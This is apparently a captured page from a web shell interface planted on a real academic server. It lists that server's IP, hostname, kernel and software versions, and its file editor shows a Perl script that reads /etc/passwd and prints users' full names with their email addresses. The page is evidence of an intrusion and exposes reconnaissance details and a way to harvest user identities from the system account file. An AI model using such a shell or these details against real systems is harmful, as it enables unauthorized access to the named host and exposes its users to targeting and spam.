One Hat Cyber Team

Your IP : 216.73.216.115

Server IP : 194.44.31.54

Server : Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64

Server Software : Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k

PHP Version : 5.6.40

Buat File | Buat Folder

Dir : ~/home/vo/bin/

Edit File: html

#!/usr/bin/perl

open (passwd,"/etc/passwd");

while (<passwd>) {
    chomp;
    @fields = split(/:/);
    $user = $fields[0];
    $id = $fields[2];
    $fullname = $fields[4];
    @namefields = split(/,/,$fullname);
    $name = $namefields[0];
    
    # skip system users
    
    if ($id < 500 ) {
	next;
    }
    
    # now skip unwanted people
    if ($id == 501) {
	next;
    }

if ($id == 502) {
	next;
    }     
    if ($id == 511) {
	next;
    }     
    if ($id == 529) {
	next;
    }     
    if ($id == 532) {
	next;
    }     
    if ($id == 539) {
	next;
    }     
    if ($id == 540) {
	next;
    }     
    if ($id == 586) {
	next;
    }     
    if ($id == 590) {
	next;
    }     
    if ($id == 596) {
	next;
    }     
    if ($id == 601) {
	next;
    }     
    if ($id == 613) {
	next;
    }     
    if ($id == 616) {
	next;
    }     
    if ($id == 626) {
	next;
    }     
    if ($id == 629) {
	next;
    }     
    if ($id == 631) {
	next;
    }     
    if ($id == 652) {
	next;
    }     
    if ($id == 653) {
	next;
    }     
    if ($id == 659) {
	next;
    }     
    if ($id == 661) {
	next;
    }

@names = split(/ /,$name);
    $sortkey = $names[$#names].$names[0];
    $username{$sortkey} = $user;
    $fullusername{$sortkey} = $name;
#    print $sortkey."\t";
#        print $name."\t";
#        print $user."\n";
    
}

@order = sort keys %username;

for ($i; $i < $#order; $i++) {
print $fullusername{$order[$i]}."\t".$username{$order[$i]}.'@imath.kiev.ua'."\n";
}

close passwd;